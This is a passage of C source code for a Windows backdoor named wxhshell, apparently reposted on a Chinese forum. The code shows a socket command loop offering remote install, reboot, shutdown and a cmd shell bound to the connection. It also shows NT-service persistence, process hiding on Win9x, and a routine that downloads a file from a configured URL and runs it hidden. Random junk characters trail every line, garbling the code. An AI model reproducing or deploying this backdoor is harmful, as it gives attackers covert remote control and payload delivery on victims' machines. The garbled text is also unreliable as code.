Uk\Id ~xLV  
    switch(cmd[0]) { [k-+AA>:  
  B2ec@]uD`  
  // 帮助 36am-G  
  case '?': { MeUaTJFEB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @}kv-*  
    break; xC tmXo  
  } E }ZJ)V7  
  // 安装 A2|Ud_  
  case 'i': { RVeEkv[qp  
    if(Install()) _/O25% l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +k`!QM>e-  
    else +E1h#cc)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <vwkjCA`  
    break; Onwp-!!.  
    } ~,*b }O  
  // 卸载 `:axzCrCfR  
  case 'r': { \m1~jMz*>k  
    if(Uninstall()) <ZB1Vi9}8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }*L(;r)q  
    else <qGu7y"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {GJ@psG*  
    break; k?'B*L_Mzv  
    } ?Ae ve n  
  // 显示 wxhshell 所在路径 4rrSb*  
  case 'p': { [}&Sxgv  
    char svExeFile[MAX_PATH]; >KJ+-QuO&  
    strcpy(svExeFile,"\n\r"); ) Yd?m0m*  
      strcat(svExeFile,ExeFile); r\/+Oa'  
        send(wsh,svExeFile,strlen(svExeFile),0); M|R b&6O  
    break; x*/S*!vx\  
    } ,{c?ymw?  
  // 重启 >;[*!<pfK5  
  case 'b': { Phke`3tth  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @*sWu_ -Y%  
    if(Boot(REBOOT)) =%/)m:f!^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AF%@VLf  
    else { GI&h`X5,e  
    closesocket(wsh); KVJ_E!i  
    ExitThread(0);  f& CBU  
    }  #B\" '8#  
    break; AA7C$;Z15~  
    } pa# IJ  
  // 关机 $*?,#ta  
  case 'd': { )6aAB|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r9dyA5oD  
    if(Boot(SHUTDOWN)) ow]053:i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MNV % =G  
    else { hodgDrmO/  
    closesocket(wsh); ~sXcnxLz  
    ExitThread(0); D"D<+ ;S#  
    } /Sh#_\x  
    break; 6AhM=C  
    }  E@b(1@  
  // 获取shell GN2Sn` ;  
  case 's': { lg&t8FHa;  
    CmdShell(wsh); pfI"36]F  
    closesocket(wsh); m|G'K[8  
    ExitThread(0); T~='5iy|  
    break; q7E~+p(>(  
  } =y!$/(H  
  // 退出 R~6$oeWAw  
  case 'x': { c??mL4$'N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ruy}/7uf  
    CloseIt(wsh);  \*<d{gZ~  
    break; `V04\05  
    } >m$ 1+30X  
  // 离开 )h)]SF}  
  case 'q': { (}2~<   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); % S os  
    closesocket(wsh); .*)2SNH  
    WSACleanup(); a8UwhjFO  
    exit(1); 7K98#;a)5  
    break; zld#qG6  
        } VFys.=  
  } H7DJ~z~J  
  } mV pMh#zw  
PGoh1Uu  
  // 提示信息 BGX.U\uc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sdo [D  
} k1D@fiz  
  } 3(,?S$>  
rQ qW_t%  
  return; EU+S^SyZi  
} =aTv! 8</  
1waTTT?"Ho  
// shell模块句柄 L}pt)w*V1j  
int CmdShell(SOCKET sock) 3zcU%*  
{ Zo~  
STARTUPINFO si; @P?~KW6<|  
ZeroMemory(&si,sizeof(si)); io8'g3<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]&Rx@&e*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u@cYw:-C  
PROCESS_INFORMATION ProcessInfo; =D<PVGo9  
char cmdline[]="cmd"; Rw0qcM\>|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |3KLk?2  
  return 0;  ^0 \  
} _y} T/I9  
@pRlxkvV  
// 自身启动模式 tu66'z  
int StartFromService(void) *(T:,PY  
{ G\+L~t  
typedef struct y#z  
{ 2HsLc*9{4  
  DWORD ExitStatus; |}di&y@-JI  
  DWORD PebBaseAddress; MjC_ (cs  
  DWORD AffinityMask; /^#;d UB  
  DWORD BasePriority; {C N~S*m  
  ULONG UniqueProcessId; 4?q <e*W  
  ULONG InheritedFromUniqueProcessId; :x4|X8>  
}   PROCESS_BASIC_INFORMATION; yj.7'{mA  
7E79-r&n  
PROCNTQSIP NtQueryInformationProcess; ~yW4)4k;b  
%/zbgS`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }%{LJ}\Px  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?q{ ,R"  
LQRQA[^  
  HANDLE             hProcess; F7EKoDt  
  PROCESS_BASIC_INFORMATION pbi; [R^i F  
Ay0U=#XP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2$g6}A`r  
  if(NULL == hInst ) return 0; lHPd"3HDK  
f\sQO&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]\hSI){  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NRIG1v>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UMm!B`M  
biU^[g("  
  if (!NtQueryInformationProcess) return 0; -7@/[9Gf`:  
ij(B,Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TU,s*D&e  
  if(!hProcess) return 0; m!tbkZHQn0  
m4hg'<<V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7>))D'l57  
b)qoh^  
  CloseHandle(hProcess); Ch|jtVeuyJ  
f$Fhf ?'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {YAJBIvHV  
if(hProcess==NULL) return 0; jN;@=COi  
DN-+osPi  
HMODULE hMod; q=Sgk>NA  
char procName[255]; %Q fO8P  
unsigned long cbNeeded; e]$}-i@#  
1Vrh4g.l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {byBc G  
g+Sbl  
  CloseHandle(hProcess); <oT^A|JFj  
%^4CSh  
if(strstr(procName,"services")) return 1; // 以服务启动 ;RC{<wBTx  
;S^'V  
  return 0; // 注册表启动 x7!L{(E3  
} %\dz m-d(C  
<66X Xh.  
// 主模块 7e|s wJ>4  
int StartWxhshell(LPSTR lpCmdLine) 0zlb0[  
{ |@ s,XS  
  SOCKET wsl; C.Kh [V\Ut  
BOOL val=TRUE; i]YV {  
  int port=0; yW1)vD7  
  struct sockaddr_in door; /'l{E  
`(ue63AZ  
  if(wscfg.ws_autoins) Install(); ~obqG!2m  
"$+Jnc!!  
port=atoi(lpCmdLine); lm-dW'7&  
P3x= 8_#  
if(port<=0) port=wscfg.ws_port; 75f"'nJ)  
d iL +:H  
  WSADATA data; 1{ ~#H<K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p.v0D:@&  
QkEvw<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8*#R]9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s%nUaWp~  
  door.sin_family = AF_INET; %et } A93  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .oYl-.E>&  
  door.sin_port = htons(port); n 22zq6m  
&_dt>.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ; >hNt  
closesocket(wsl); &5fJPv &  
return 1; c'>/  
} f_jo+z{-ik  
>z{d0{\  
  if(listen(wsl,2) == INVALID_SOCKET) { XHK<AO^  
closesocket(wsl); }Jy8.<Gd^  
return 1; AS'R?aX|C  
} /Y W>*?"N  
  Wxhshell(wsl); CrC^1K  
  WSACleanup(); lYVz 3p  
dx5#\"KX=,  
return 0; A&.WH?p  
{5U{8b]k  
} o{* e'4  
QdH\LL^8R4  
// 以NT服务方式启动 V:In>u$QJ!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ); !eow  
{ `#F{Waww'  
DWORD   status = 0; f9t6q*a`%  
  DWORD   specificError = 0xfffffff; ov ` h  
p Dx1z|@z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &=Ar  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OE_XCZ!5P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S!jTyY7e  
  serviceStatus.dwWin32ExitCode     = 0; /32Fy`KV  
  serviceStatus.dwServiceSpecificExitCode = 0; X@ +{5%  
  serviceStatus.dwCheckPoint       = 0; 2,$8icM  
  serviceStatus.dwWaitHint       = 0; Cc+t}"^  
l2zFKCGF(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @Owb?(6?  
  if (hServiceStatusHandle==0) return; cs,N <|  
twL3\ }N/B  
status = GetLastError(); <k eVrCR  
  if (status!=NO_ERROR) nhB1D-  
{ `18qbot  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [;4 g  
    serviceStatus.dwCheckPoint       = 0; GY6`JWk  
    serviceStatus.dwWaitHint       = 0; .b3Qfxc>  
    serviceStatus.dwWin32ExitCode     = status; nrL9 E'F'  
    serviceStatus.dwServiceSpecificExitCode = specificError; /\ y?Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3KR d  
    return; Y>|B;Kj0(  
  } l4 D+Y  
?{P"O!I{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {C 6=[  
  serviceStatus.dwCheckPoint       = 0; iEVb"w0 59  
  serviceStatus.dwWaitHint       = 0; +X#vVD3"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aE`c%T):`  
} _X^1IaL  
V]|^&A _c  
// 处理NT服务事件,比如:启动、停止 Q8:Has  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !o5 W  
{ ^W`<gR  
switch(fdwControl) 5A)2} D]  
{ |4)>:d  
case SERVICE_CONTROL_STOP: ;,C)!c&  
  serviceStatus.dwWin32ExitCode = 0; WZ-s--n#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0t^M3+nc  
  serviceStatus.dwCheckPoint   = 0; ?J%1#1L"/  
  serviceStatus.dwWaitHint     = 0; 7]U"Z*  
  { h;C5hU 4P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L"E7#}  
  } 54gBJEhg  
  return; $*^kY;  
case SERVICE_CONTROL_PAUSE: ?Nup1 !D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2KB\1&N  
  break; !*s?B L  
case SERVICE_CONTROL_CONTINUE: Buf/@B7+\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RY]#<9>M  
  break; `> 7; !  
case SERVICE_CONTROL_INTERROGATE: }6p@lla,%]  
  break; PXK7b2fE.  
}; 6_J$UBT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^Ew]uN>,  
} 8UXjm_B^'  
@)UZ@ ~R  
// 标准应用程序主函数 ^ssK   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lW+\j3?Z$  
{ :}Xll#.,m  
j| v%)A  
// 获取操作系统版本 5QW=&zI`=  
OsIsNt=GetOsVer(); `_BNy=`s*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fL_4uC i\  
wg7V-+@i  
  // 从命令行安装 zcel|oz)  
  if(strpbrk(lpCmdLine,"iI")) Install(); @G BxL*e  
u8gS< \  
  // 下载执行文件 KK1 gNC4R  
if(wscfg.ws_downexe) { bV(Y`g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ujDd1Bxf?  
  WinExec(wscfg.ws_filenam,SW_HIDE); C\S3Gs  
} _K`wG}YIE  
$*SW8'],`  
if(!OsIsNt) { AJf4_+He  
// 如果时win9x,隐藏进程并且设置为注册表启动 00G%gQXk,  
HideProc(); S/}2;\Xm  
StartWxhshell(lpCmdLine); b=g8eMm  
} GQt8p[!  
else gD,1 06%  
  if(StartFromService()) -9%:ilX~  
  // 以服务方式启动 >z/#_z@LV  
  StartServiceCtrlDispatcher(DispatchTable); r;B8i!gD  
else I(]}XZq  
  // 普通方式启动 J@^8ko  
  StartWxhshell(lpCmdLine); Z,RzN5eN  
$}<PL}+  
return 0; ~8~aJ^[  
}
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只看该作者 1 发表于: 2006-10-10
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